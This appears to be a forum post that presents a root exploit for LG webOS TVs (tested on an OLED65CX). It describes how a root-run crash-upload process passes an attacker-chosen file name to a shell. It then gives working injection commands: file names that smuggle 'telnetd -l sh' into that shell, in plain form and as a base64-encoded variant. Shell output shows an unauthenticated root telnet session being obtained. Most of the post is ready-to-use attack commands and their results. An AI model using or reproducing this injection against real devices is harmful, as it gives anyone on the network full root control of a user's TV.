New Root Method
Tested on an OLED65CX running 04.30.61.
- crashd runs as root, subscribed to inotify events for /var/log/crashd/$component_name
- remote diagnostics (rdxd) writes this supposed crash out to /tmp/rdxd/crash/crash.$foobar
- uploadd then kicks in to to send logs back to LG and part of that log collection process:
- "sh -c cp /tmp/rdxd/crash/crash.$foobar /tmp/uploadd/$component_name"
That is running as root and we have full control of $component_name by means of whatever filename we stick in /var/log/crashd/
So...
- Код: Выделить всё
$ touch /var/log/crashd/“x;telnetd -l sh”
- Код: Выделить всё
$ ps -FC telnetd
UID PID PPID C SZ RSS PSR STIME TTY TIME CMD
root 12152 1 0 5592 816 2 01:35? 00:00:00 telnetd -l sh
- Код: Выделить всё
whiterat@mbp:[~]$ telnet 10.1.161.192
Trying 10.1.161.192...
Connected to 10.1.161.192.
Escape character is '^]'.
webOS TV 5.3.0 LGwebOSTV
/ # uname -a
Linux LGwebOSTV 4.4.84-219.1.jasper.2 #1 SMP PREEMPT Thu Feb 24 09:02:14 UTC 2022 aarch64 GNU/Linux
/ # id
uid=0 (root) gid=0 (root)
It’s possible to have a longer initial payload with a “standard” base64 escape:
- Код: Выделить всё
$ touch /var/log/crashd/"x;echo dGVsbmV0ZCAtbCAvYmluL3No | base64 -d | sh"


